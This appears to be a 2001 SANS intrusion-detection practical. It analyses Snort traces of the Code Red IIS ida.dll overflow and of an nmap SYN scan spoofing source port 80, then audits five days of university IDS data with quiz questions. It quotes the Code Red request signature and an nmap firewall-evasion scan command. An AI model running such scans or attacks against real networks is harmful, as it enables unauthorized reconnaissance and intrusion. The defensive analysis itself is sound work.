Most Windows NT and Windows 2000 servers run Microsoft's Internet Information Server (IIS) to provide web services. Software developers use the Internet Services Application Programming Interface (ISAPI) to extend the capabilities of an IIS server using DLLs (Dynamic Link Libraries). However, several DLLs, idq.dll (Internet data query script) and ida.dll (administrative script) filters for example, have poor bounds error checking for very long input strings that result in buffer overflows and cause the server code to crash. There several, widely available exploit programs that can be used to send long strings of data to these DLLs and cause buffer overflows. Following a buffer overflow and the subsequent crash, the attacker's program is now capable of executing commands on the server because the server was running with full administrator privileges that the exploit program has now inherited.

In order to send commands to the server, the attacker must first open up a command shell on the remote server, which is easy to do since the attacking program is connected to the server with full administrative rights. In this way the attack is a two-step process. The first step is to cause a buffer overflow and the next step is to open a command shell on the remote server.

4.5 Attack mechanism

The packet headers are fairly standard, the exploit signature itself is in the payload. It can be seen that both packets arrived almost simultaneously, and from the same source port of 4238. The identification fields follow a pattern we would expect in this case, 33294 for the first one and 33295 for the second one. In the TCP header only the ACK bit is set.

The first step is to cause a buffer overflow. This can be seen in the payload of the first trace where a standard html Get command is sent to the server but as a malformed request. The specific pattern is: "**GET /default.ida?XXXXXXXXX……"**. This command is usually used to request a document by supplying a string specifying the name of the document and putting it through the ida.dll filter . In this case the string is almost 240 bytes, which causes the filter to crash with a buffer overflow.

The exploit then inserts its shell code in the same buffer that it caused the overflow on and opens a command shell. This command, "**cmd.exe**" can be seen in the payload of the second trace. Some variants (CodeRed v2) will explicitly send a pathname such as **"\winnt\System32\cmd.exe**". Once the command shell is open the attacker can execute any command, create, modify or delete files at will.

The Windows Sockets API calls that use the TCP connection to exchange commands and information can be seen in the payload of the second trace. Specifically the **connect()**, **ioctlsocket()**, **select()** and **send()** calls.

4.6 Correlations

These types of scans have been very widely observed and reported. The best information is found at:

http://www.whitehats.com/IDS/552
http://www.eeye.com/html/Research/Advisories/AD20010618.html

In addition there is a very detailed description of this exploit provided in the list referenced in [6].

4.7 Evidence of active targeting

The server was specifically targeted for this attack, notwithstanding the fact that it is an Apache server and not IIS.

4.8 Severity

Criticality = 3. The target host is a server that provides web , NFS and SAMBA services.

Lethality = 0. An IIS exploit has no affect on a Linux machine.

System Countermeasures = 5. The system has all the recent Apache patches applied.

Network Countermeasures = 3. No reason for the firewall or router to block port 80 on a network that offers web services. Use the IIS lockdown and URL scan tools to protect those servers that are running IIS [6]. This exploit is well known by now so a we could implement and deploy a packet filter (such as URLScan) on the perimeter to stop packets with this signature bound for IIS servers on the subnet.

Severity = (3 + 0)– (5 + 3) = -5. No risk.

4.9 Defensive recommendations

Apply all the latest patches and service packs available from Microsoft. Upgrade to the latest version of IIS. Unmap any ISAPI extensions that are not used and ensure that they do not get remapped at a later date.

4.10 Multiple choice test question

The main reason why exploits such as these are so successful and effective is that:

(a). Poor bounds checking code results in buffer overflows
(b). Many servers are never upgraded or have the latest patches applied to them
(c). It causes servers running with administrative rights to crash and provide a command shell
(d). All of the above
(e). None of the above

Answer: (d)

5. Detect: HIGH PORT SYN CONNECTION ATTEMPT

According to the person reporting this incident, it could either be a network mapping attempt or an attempt to test the firewall.

```
09/13-00:26:54.693591  [**] [1:0:0] IDS3/scan_Traceroute TCP [**]
[Classification: information gathering attempt] [Priority: 8] {TCP}
205.158.104.176:80 -> xxx.xxx.xxx.23:62674

09/13-00:26:56.592935  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:62722
09/13-00:26:57.608828  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:62732
09/13-00:26:58.625749  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:62741
09/13-00:26:59.655367  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:62776
09/13-00:27:00.853509  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:62824
09/13-00:27:02.089012  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:62832
09/13-00:27:03.491921  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:62858
09/13-00:27:04.490788  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:62911
09/13-00:27:05.534324  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:62977
09/13-00:27:06.542304  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:63032
09/13-00:27:07.547226  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:63067
09/13-00:27:08.625796  [**] [1:0:0] HIGH PORT SYN CONNECTION ATTEMPT [**]
{TCP} 205.158.104.176:80 -> xxx.xxx.xxx.23:63103

[**] IDS3/scan_Traceroute TCP [**]
09/13-00:26:54.693591 205.158.104.176:80 -> xxx.xxx.xxx.23:62674
TCP TTL:1 TOS:0x0 ID:32755 IpLen:20 DgmLen:40
******S* Seq: 0x9FBC5951  Ack: 0x0  Win: 0x200  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

[**] HIGH PORT SYN CONNECTION ATTEMPT [**]
09/13-00:26:56.592935 205.158.104.176:80 -> xxx.xxx.xxx.23:62722
TCP TTL:2 TOS:0x0 ID:32854 IpLen:20 DgmLen:40
******S* Seq: 0x9FBC5951  Ack: 0x0  Win: 0x200  TcpLen: 20

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

[**] HIGH PORT SYN CONNECTION ATTEMPT [**]
09/13-00:26:57.608828 205.158.104.176:80 -> xxx.xxx.xxx.23:62732
TCP TTL:3 TOS:0x0 ID:32892 IpLen:20 DgmLen:40
******S* Seq: 0x9FBC5951  Ack: 0x0  Win: 0x200  TcpLen: 20
```

=+=

[**] HIGH PORT SYN CONNECTION ATTEMPT [**]
09/13-00:26:58.625749 205.158.104.176:80 -> xxx.xxx.xxx.23:62741
TCP TTL:4 TOS:0x0 ID:32928 IpLen:20 DgmLen:40
********S* Seq: 0x9FBC5951 Ack: 0x0 Win: 0x200 TcpLen: 20**

=+=

[**] HIGH PORT SYN CONNECTION ATTEMPT [**]
09/13-00:26:59.655367 205.158.104.176:80 -> xxx.xxx.xxx.23:62776
TCP TTL:5 TOS:0x0 ID:32996 IpLen:20 DgmLen:40
********S* Seq: 0x9FBC5951 Ack: 0x0 Win: 0x200 TcpLen: 20**

=+=
+=

[**] HIGH PORT SYN CONNECTION ATTEMPT [**]
09/13-00:27:00.853509 205.158.104.176:80 -> xxx.xxx.xxx.23:62824
TCP TTL:6 TOS:0x0 ID:33077 IpLen:20 DgmLen:40
********S* Seq: 0x9FBC5951 Ack: 0x0 Win: 0x200 TcpLen: 20**

=+=

[**] HIGH PORT SYN CONNECTION ATTEMPT [**]
09/13-00:27:08.625796 205.158.104.176:80 -> xxx.xxx.xxx.23:63103
TCP TTL:13 TOS:0x0 ID:33727 IpLen:20 DgmLen:40
********S* Seq: 0x9FBC5951 Ack: 0x0 Win: 0x200 TcpLen: 20**

=+=

5.1 Source of Trace

The trace was obtained from incidents.org:
http://www.incidents.org/archives/intrusions/msg01698.html

The contact information provided is:

Concentric Network Corporation (NET-CNCX-BLK-1)
1400 Parkmoor Avenue San Jose, CA 95126-3429 US
Erickson, Brent W KPWA

It appears that the network has two sensors (Snort), an outer one and another one on the DMZ. In this case the traffic was reported by the outer sensor and it was blocked at that point so the DMZ sensor did not see it.

5.2 Detect was generated by:

The trace was captured using Snort 1.8.1 build 77. The rule that is purported to have generated this alert is:

alert tcp $EXTERNAL_NET any -> $HOME_NET 5000: (msg:"HIGH PORT SYN CONNECTION ATTEMPT";flags:S;)

I was unable to find the "*.rules" file for this rule from the default rules files provided. I am assuming that it was a rule designed specifically for this environment or an older version of Snort is being used.

5.3 Probability that the source address was spoofed

The intruder is initiating active TCP connections presumably to determine if the ports are open and have processes listening on them by waiting for a SYN/ACK response. This makes it very unlikely that the source IP is spoofed.

5.4 Description of attack

This appears to a half-open or SYN scan since it does not appear from the sequence provided that the source program is waiting for connections to complete before initiating a new one. Examining the detects provided we make the following observations:

The sequence number is not changing. This is perhaps the most obvious characteristic other than the source port. We know that should not be repeated unless this is a retry of the same initial connection [3]. That is not the case since the destination port is changing. The source port for all connection attempts is port 80. This is highly unusual since port 80 is assigned to the http (web) server and it listens for connections rather than initiating connections. We note that the TTL field is increasing with each attempt and the connections are being attempted to a very high port range.

Port 80 is being used as a source to disguise this traffic as inbound web traffic which most firewalls will allow to go through. Given that the connections are directed towards a set of ports at the very high end of the TCP port range (0 – 65535), it also possible that the intruder is scanning for a previously installed Trojan or sleeper programs.

5.5 Attack mechanism

The attack has all the characteristics of an **nmap** (or an equivalent tool) SYN scan. Nmap is a very powerful, publicly available tool that will allow anyone to scan target machines with customized packets. For example, the following is an illustration of how the tool can be used from command line to generate a signature very similar to the above traces:

nmap –sS –g 80 –p 62741-62745 192.168.1.60

The above is using a TCP SYN scan (**-sS**) that sends a connection request (SYN) but issues a reset (RST) as soon as the target responds with a SYN/ACK. The source port is specified as port 80 (**-g**) for reasons described in the previous section. The range of ports to be scanned on the target are specified as 62741 to 62745 using the **–p** switch.

A experiment was conducted on a private LAN to validate this analysis. Two machines were used, one as a server and the other as an attacker. The server was running both Snort (latest version) and tcpdump to capture the traces. The results are shown below:

Snort generated the following alert:

```
[**] [100:1:1] spp_portscan: PORTSCAN DETECTED from 192.168.1.111 (THRESHOLD
4 connections exceeded in 0 seconds) [**]
10/12-11:14:20.218715
```

The output from **tcpdump** is more informative in this case:

```
11:14:20.206917 eth0 < 192.168.1.111.http > 192.168.1.60.62741: S
3701259905:3701259905(0) win 1024 (ttl 56, id 28457)
                4500 0028 6f29 0000 3806 8fab c0a8 016f
                c0a8 013c 0050 f515 dc9c be81 0000 0000
                5002 0400 9762 0000 0000 0000 0000

11:14:20.206917 eth0 < 192.168.1.111.http > 192.168.1.60.62742: S
3701259905:3701259905(0) win 1024 (ttl 56, id 64124)
                4500 0028 fa7c 0000 3806 0458 c0a8 016f
                c0a8 013c 0050 f516 dc9c be81 0000 0000
                5002 0400 9761 0000 0000 0000 0000

11:14:20.206917 eth0 < 192.168.1.111.http > 192.168.1.60.62743: S
3701259905:3701259905(0) win 1024 (ttl 56, id 15698)
                4500 0028 3d52 0000 3806 c182 c0a8 016f
                c0a8 013c 0050 f517 dc9c be81 0000 0000
                5002 0400 9760 0000 0000 0000 0000
```

```
11:14:20.206917 eth0 < 192.168.1.111.http > 192.168.1.60.62745: S
3701259905:3701259905(0) win 1024 (ttl 56, id 65455)
                4500 0028 ffaf 0000 3806 ff24 c0a8 016f
                c0a8 013c 0050 f519 dc9c be81 0000 0000

11:14:20.206917 eth0 < 192.168.1.111.http > 192.168.1.60.62744: S
3701259905:3701259905(0) win 1024 (ttl 56, id 10189)
                4500 0028 27cd 0000 3806 d707 c0a8 016f
                c0a8 013c 0050 f518 dc9c be81 0000 0000
                5002 0400 975f 0000 0000 0000 0000
```

It can be seen in the above traces that the sequence numbers are the same, the source port is 80 (http), and the target ports are in the high range. The only characteristic different here is the TTL field. In the above traces it is constant at 56 and not incrementing as in the traces provided from the "wild". This could be attributed to another version of nmap, or a characteristic of a similar tool.

5.6 Correlations

No exact correlations of this exact trace were found but the characteristics are well described in the documentation for nmap and the test results in the previous section confirm the analysis to a high degree.

5.7 Evidence of active targeting

This is active targeting since the connections attempts are directed specifically toward the primary web server in that organization.

5.8 Severity

Criticality = 4. The target host is a server that provides primary web services.

Lethality = 2. No attack as such just reconnaissance, so at worst a breach of anonymity.

System Countermeasures = 5. I am assuming that since this is a primary web server all the latest patches have been applied.

Network Countermeasures = 4. Seems to be a relatively secure perimeter network with inner and outer routers.

Severity = (4 + 2)– (5 + 4) = -3. Very low risk to the server.

5.9 Defensive recommendations

Obviously the proper defense mechanisms are deployed on this network since the attempt was blocked at the outer firewall. However it might be a very good idea to scan all the internal hosts to see if they have any high ports (in the range observed) open.

5.10 Multiple choice test question

TCP Connection requests originating from port 80 with unchanging sequencing numbers are usually an indication of:

(a). Normal web traffic and no cause for alarm.
(b). Retry attempts from a web server to send requested information to a client.
(c). A malfunctioning web server establishing a connection to a client.
(d). Crafted packets sent to bypass firewalls and scan for open ports or Trojans.
(e). None of the above.

Answer: (d)

Conclusions

Five traces were analyzed and the results presented. The attacks vary from passive intelligence gathering network scans, to serious exploits intended to acquire root or administrative rights on a target machine. In all cases the utility and importance of running IDS mechanisms together with defensive mechanisms such as packet filters and firewalls in very apparent.

References

[1] Snort – The Open Source Network IDS
www.snort.org

[2] SANS Institute, Track 3 – Intrusion Detection in Depth. 3.4/3.5 - Page 4–17.

[3] TCP/IP Illustrated – Volume 1
The Protocols
W. Richard Stevens
Addison-Wesley Professional Computing Series

[4] HPING2 HOWTO – antirez, Aug. 8 1999 - under GPL
http://www.eaglenet.org/antirez/hping2/docs/HPING2-HOWTO.txt

[5] http://www.sans.org/newlook/resources/IDFAQ/oddports.htm

[6] The Twenty Most Critical Internet Security Vulnerabilities
http://66.129.1.101/top20.htm

[7] CERT® Incident Note IN-98.04
http://www.cert.org/incident_notes/IN-98.04.html

[8] Vulnerability Note VU#382365
http://www.kb.cert.org/vuls/id/382365

[9] CERT® Advisory CA-2000-22 Input Validation Problems in LPRng
http://www.cert.org/advisories/CA-2000-22.html

Assignment #3 – "Analyze This" Scenario

By

Aman I. Abdulla

October 12, 2001

Objective and Overview

We have been asked to provide a security audit for a university. Data captured over five consecutive days using Snort has been provided. The objective of this report is to analyze the raw data and present a brief report that will allow the campus network administrators to get an accurate idea of benign as well as anomalous and dangerous network activity in and out of the network.

The analysis was conducted using Snort, SnortSnarf, C and MATLAB programs, together with standard UNIX tools such as grep, sort, and awk. The data provided was in three files:

- Snort Alert files
- Snort Portscan log files
- Snort OOS (Out-Of-Spec) files

This report is will analyze and present the results as three general areas of interest:

- A summary of detects prioritized by number of occurrences for each of the three files
- The top ten sources of traffic ("talkers") in terms of Scans, Alerts and OOS files
- A list of five external source addresses together with their registration information. These are selected on the basis of posing a high risk to the security of the network.

1. Summary of Data by Number of Occurrences

The data collected spanned a period of five days, from September 10 to September 14, 2001. The tables that follow present a summary of events from each of the three files provided over a period of five days.

1.1 Summary of Alert Detects

The alert and OOS files for each day were processed with SnortSnarf and the results inserted into an Excel spreadsheet. Over a period of five days there are at least 141 different alerts reported by Snort. The complete spreadsheet is provided as an embedded file. The top ten "talkers" are highlighted in Table 1.1.1.

alerts3.xls

The sources generating the most traffic do necessarily always pose the greatest risk to network security. The analysis of the busiest sources is provided below together with recommendations. A closer examination of the spreadsheet data however reveals that there are other, less busy external sources that warrant some attention as well. These are addressed in section 1.4 in this report.

In addition, the spreadsheet data also reveals that there are internal hosts that have been compromised and must be taken off the network and sanitized. In particular, the following two hosts have been compromised and are running the Subseven Trojan: MY.NET.70.148 and MY.NET.153.210. “Most commonly these trojans are limited "remote administration tools" that allow an attacker to take complete control over the victim server” [10].

Table 1.1.1 Top Ten Sources Of Alerts Over Five Days.

Snort Signatures	Sept 10	Sept 11	Sept 12	Sept 13	Sept 14	Totals
WEB-MISC Attempt to execute cmd	47994.00	68955.00	68847.00	46492.00	38322.00	270610.0
IDS552/web-iis_IIS ISAPI Overflow ida nosize	42333.00	59942.00	59654.00	40674.00	34111.00	236714.0
ICMP Echo Request speedera	0.00	0.00	0.00	1763.00	49225.00	50988.0
MISC Large UDP Packet	6016.00	8925.00	2087.00	5877.00	10691.00	33596.0
ICMP Destination Unreachable (Communication Administratively Prohibited)	2541.00	4608.00	8754.00	3171.00	1739.00	20813.0
INFO MSN IM Chat data	2644.00	5308.00	4359.00	2253.00	2579.00	17143.0
MISC source port 53 to <1024	2194.00	6002.00	4104.00	2129.00	1132.00	15561.0
MISC traceroute	1767.00	3089.00	3368.00	2006.00	1179.00	11409.0
ICMP Echo Request Nmap or HPING2	1523.00	2582.00	2370.00	2226.00	1779.00	10480.0
CS WEBSERVER - external web traffic	1625.00	2722.00	2458.00	1260.00	543.00	8608.0

1.1.1 Analysis and Recommendations

It can be seen from the above table that the majority of the alerts are attributed to exploits directed against IIS servers. The top two are variants of Code Red virus. The details of this exploit are provided in detail in the "Assignment 2" section of this document (pages 16 – 22).

The ICMP Echo request traffic is due to Speedera.net's "Global Traffic Management" system. These Echo requests or pings are a result DNS lookup requests for one of their load-balanced cache customers' websites [1].

The IP address on the internal network that is both a source and destination for this traffic is MY.NET.205.234. There are two external IP addresses that are the source and destination addresses for this traffic: 24.70.48.47 and 212.70.48.47. The details obtained from whois for both addresses is as follows:

IP address 24.70.191.95 is part of Shaw Fiberlink in Calgary, Alberta and has the following information registered:

Shaw Fiberlink ltd. (NETBLK-FIBERLINK-CABLE)
630 3rd Avenue SW, Suite 900
Calgary AB, 4L4
CA
Netname: FIBERLINK-CABLE
Netblock: 24.64.0.0 - 24.71.255.255
Maintainer: FBCA
Coordinator:
Shaw@Home (SH2-ORG-ARIN) internet.abuse@SHAW.CA
(403) 750-7420
Domain System inverse mapping provided by:
NS2SO.CG.SHAWCABLE.NET 24.64.63.212
NS1SO.CG.SHAWCABLE.NET 24.64.63.195
Record last updated on 12-Jul-2000.
Database last updated on 27-Oct-2001 03:34:37 EDT.

IP address 212.70.48.47 is part of a network in Saudi Arabia and has the following information registered:

inetnum: 212.70.32.0 - 212.70.63.255
netname: SA-ATHEER-990604
descr: Provider Local Registry
country: SA
admin-c: TA787-RIPE
tech-c: TA787-RIPE
status: ALLOCATED PA
mnt-by: RIPE-NCC-HM-MNT
changed: hostmaster@ripe.net 19990604
changed: hostmaster@ripe.net 19991230
source: RIPE

Recommendation:

If there are any IIS servers in the MY.NET domain then they should be thoroughly examined and all the latest patches be applied to the appropriate applications.

The "**`MISC Large UDP Packet`**" traffic is most likely due to scans for networked gaming servers. The alerts file indicates that the source and destination IP's and ports fall within a small subset, unlike generals scans that result in a range of random port numbers and IP addresses. In particular there were many sets of port 0 to port 0 traffic alerts over the time period examined. "On some proxy servers, such as Microsoft Proxy Server, you will need to open UDP port 0 as an additional Subsequent UDP Inbound port." [2], (Q236430) http://support.microsoft.com/support/Games/Zone/FAQ/connect.asp

Recommendation:

It is highly recommended that an explicit policy regarding network game playing be implemented and enforced for the MY.NET network. In addition the routers on the network should be configured to block all known ports used for network gaming.

The "**`ICMP Destination Unreachable (Administratively Prohibited)`**" ICMP messages are generated when a sender (router) has been configured to block access to the desired destination host. The router therefore cannot forward or deliver the Datagram. An examination of the alerts files over five days reveals that the traffic is categorized between internal and externally generated messages. The internal source IP addresses generating this message are mainly two: MY.NET.14.1 and MY.NET.16.5. The destination IP addresses are all internal but on different subnets.

We can conclude that there are hosts on different subnets that are restricted as far as communicating with each other is concerned.
The most frequent external IP source address generating this ICMP message towards a set of internal IP address on My.NET.x.x is 131.118.255.18. This is a University of Maryland System Administration machine. Majority of the traffic from this IP was directed at MY.NET.228.226. This machine is on an Access Control List (ACL) and yet it persists in attempting to connect to a destination within the restricted subnet. It should be noted the traceroute program is also a very common source of such ICMP messages.

Recommendation:

The two IP addresses MY.NET.14.1 and MY.NET.16.5 must be examined to ensure they have not been compromised. In addition the network administrator at the University of Maryland be advised of the activities of its offending host at IP 131.118.255.18.

The "**`INFO MSN IM Chat data`**" traffic is due to the use of the popular MSN Instant Messenger application. There are a multitude of IP addresses from MY.NET.x.x communicating with the MSN IM chat servers at 64.4.x.x.

Recommendation:

This is benign traffic for the most part. However, applications such as these do open up high ports on the client machines that could be used to exploit the hosts using malicious software. Unless it is understood and accepted that the use of instant message applications such as MSN IM and ICQ is necessary within the organization, their use be severely curtailed through explicit policies and port filtering at the router.

The "**`MISC source port 53 to <1024`**" traffic can most certainly be attributed to an attempt to connect to and compromise DNS servers on the MY.NET network. "This event indicates that an attacker is making a connection to a privileged port using the source port 53 (DNS). This should not normally occur. Old or misconfigured packet filters may allow the connection if they allow all DNS traffic" [3]. A typical firewall will implement rules that will pass any traffic originating from DNS (source port 53). Therefore, hackers will simply craft packets to have a source port of 53, thus bypassing the firewall. Once the hacker gets past the firewall the objective is to scan for vulnerable DNS servers and compromise them

This category of traffic over the five day period is directed almost exclusively towards the following IP addresses: MY.NET.1.3, MY.NET.1.4, and MY.NET.1.5. The source IP's originate from a wide variety of networks. Presumably the three IP addresses above are assigned to DNS servers. The source and destination ports are all port 53 (DNS).

"The Berkeley Internet Name Domain (BIND) package is the most widely used implementation of Domain Name Service (DNS) -- the critical means by which we all locate systems on the Internet by name (e.g., www.sans.org) without having to know specific IP addresses -- and this makes it a favorite target for attack." [4]. This traffic is designed to probe for vulnerable versions of BIND.

The one exception to the above trend was IP address 61.129.67.43. This host generated enumerated scans from port 53 towards a set of hosts in the MY.NET.1.x to MY.NET.255.x range. Clearly the host was performing reconnaissance and collecting information on which hosts are running DNS services. A quick check of the IP revealed the following details of the network it originated from:

inetnum: 61.129.0.0 - 61.129.255.255
netname: CHINANET-SH
descr: CHINANET Shanghai province network
descr: Data Communication Division
descr: China Telecom
country: CN
admin-c: CH93-AP
tech-c: XI5-AP
mnt-by: MAINT-CHINANET
mnt-lower: MAINT-CHINANET-SH
changed: hostmaster@ns.chinanet.cn.net 20000601
source: APNIC

Recommendation:

This is currently one of the most popular services to exploit on network servers. It is imperative that all the appropriate patches be obtained from the vendor and applied to the DNS server. [4] in particular prescribes a set of actions that must be performed:

"The following steps should be taken to defend against the BIND vulnerabilities:

1. Disable the BIND name daemon (called "named") on all systems that are not authorized to be DNS servers. Some experts recommend you also remove the DNS software.
2. On machines that are authorized DNS servers, update to the latest version and patch level.

3. Use the guidance contained in the following advisories:
   For the NXT vulnerability: http://www.cert.org/advisories/CA-99-14-bind.html
   For the QINV (Inverse Query) and NAMED vulnerabilities:
   http://www.cert.org/advisories/CA-98.05.bind_problems.html
   http://www.cert.org/summaries/CS-98.04.html

4. Run BIND as a non-privileged user for protection in the event of future remote-compromise attacks. (However, only processes running as root can be configured to use ports below 1024 – a requirement for DNS. Therefore you must configure BIND to change the user-id after binding to the port.)

5. Run BIND in a chroot()ed directory structure for protection in the event of future remote-compromise attacks.

6. Disable zone transfers except from authorized hosts.

7. Disable recursion and glue fetching, to defend against DNS cache poisoning.

8. Hide your version string."

In addition the network administrator for the network in China be advised of the activities of the offending host at IP address 61.129.67.43.

The "**`MISC traceroute"`** alert traffic is generated through the use of the popular "traceroute" application used to map networks. The alerts files indicate that there are a multitude of external IP addresses using this application to map the MY.NET domain, and an equally large number of hosts in the MY.NET domain mapping external networks. This is benign activity for the most part.

Recommendation:

This is relatively benign traffic and activity. There are also applications that use ping as part of their operation. However, it would be beneficial to issue an advisory to the affect that the use of applications such as "traceroute" and other mapping software be restricted to a "use only if necessary" basis.

The "**`ICMP Echo Request Nmap or HPING2"`** alert traffic is generated through the use of portscanner software such as Nmap and hping2. These are designed to scan for open ports on servers and thus identify vulnerable services. An analysis of the alert file data revealed that hosts within the MY.NET domain are almost exclusively generating the scans, and directed towards external IP addresses. In particular the host with IP address MY.NET.226.18 generated 8127 such scans over five days. This constitutes 94.4% of the alerts.

Recommendation:

This is active reconnaissance activity with the primary objective being information gathering for the purposes of identifying vulnerable services and applications on internal and external serves. It is highly recommended that the use of such software be severely curtailed and restricted to analysts who use it to identify vulnerable hosts within their networks. Host MY.NET.226.18 be examined thoroughly and if the host belongs to a person whose primary function is outside of network administration, all the scanning applications be removed from the machine.

The "**CS WEBSERVER - external web traffic**" alert traffic is generated almost exclusively by inbound web traffic from a large variety of source IP addresses to port 80 on MY.NET.100.165.

Recommendation:

If this host is a legitimate web server then it is highly recommended that this particular alert be turned off or a fine tuned version of the filter be designed and deployed.

1.2 Summary of Scan Detects

The scan files for each day were processed through a simple C program to remove extraneous characters to make it easy to process the data with tools such as "***grep***", "***sort***" and "***awk***". A short MATLAB program was then used to separate the source and destination IP addresses and calculate some statistics. The top ten IP addresses that generated the most scan alerts are highlighted in the tables below.

Tables 1.2a – 1.2e. Top Ten Source IP's Scanning the Network Over Five Days.

Table 1.2a – Scan Detect Analysis for September 10

IP Address	Sept 10	Src ->Dst Ports	Dest. IP	Comments
205.188.246.121	13329	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.244.121	11564	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.233.185	11204	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.233.153	10689	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.233.121	10135	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.244.57	7742	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
MY.NET.160.114	7311	777->Various (UDP)	Various	AimSpy Trojan
MY.NET.201.42	2473	Various UDP Ports	Various	Possible games scan activity
MY.NET.205.186	2246	Various UDP Ports	Various	Possible games scan activity
MY.NET.205.126	532	Various UDP Ports	Various	Possible games scan activity

Table 1.2b- Scan Detect Analysis for September 11

IP Address	Sept 11	Src ->Dst Ports	Dest. IP	Comments
MY.NET.160.114	11641	777->Various (UDP)	Various	AimSpy Trojan
205.188.246.121	6152	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.233.153	6002	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.244.121	4328	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
MY.NET.236.82	4283	28800->28800 (UDP)	Various	MSN Gaming Zone – Network Gaming
205.188.233.185	3199	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.244.57	2674	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
61.129.67.43	2092	53->53 (TCP – SYN)	MY.NET.x.x	Possible netcat scans
205.188.233.121	2037	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
MY.NET.201.42	1790	13139->13139 (UDP) 1851->Various (UDP)	Various	Network Gaming (gamespy-ping)

Table 1.2c- Scan Detect Analysis for September 12

IP Address	Sept 12	Src ->Dst Ports	Dest. IP	Comments
MY.NET.206.114	25454	29800-01->Various (UDP)	Various	Possible gaming service or Trojan
MY.NET.160.114	18636	777->Various (UDP)	Various	AimSpy Trojan
205.188.244.57	8954	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.246.121	5367	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
MY.NET.237.206	5124	28800->28800 (UDP)	Various	MSN Gaming Zone – Network Gaming
205.188.233.185	4390	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.233.121	4181	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.233.153	2954	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.244.121	2233	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
63.95.144.5	1121	Various->53 (TCP-SYN)	Various	Scanning for Vulnerable DNS servers (ADM Worm)

Table 1.2d- Scan Detect Analysis for September 13

IP Address	Sept 13	Src ->Dst Ports	Dest. IP	Comments
MY.NET.206.114	25194	29800->Various (UDP)	Various	Possible gaming service or Trojan
205.188.233.121	15424	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.244.57	11434	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.244.121	9334	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.233.185	8154	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.246.121	7727	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.233.153	7552	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
MY.NET.160.114	4417	777->Various (UDP)	Various	AimSpy Trojan
MY.NET.236.30	4313	28800->28800 (UDP)	Various	MSN Gaming Zone – Network Gaming
MY.NET.208.58	1381	1025->Various (UDP)	Various	Trojan – Remote Storm

Table 1.2e- Scan Detect Analysis for September 14

IP Address	Sept 14	Src ->Dst Ports	Dest. IP	Comments
MY.NET.160.114	24820	777->Various (UDP)	Various	AimSpy Trojan
205.188.244.57	11915	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.246.121	9535	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
205.188.244.121	9072	Various->6970	MY.NET.x.x	RTP (UDP) Port 6970 – Used for RealAudio & Quicktime
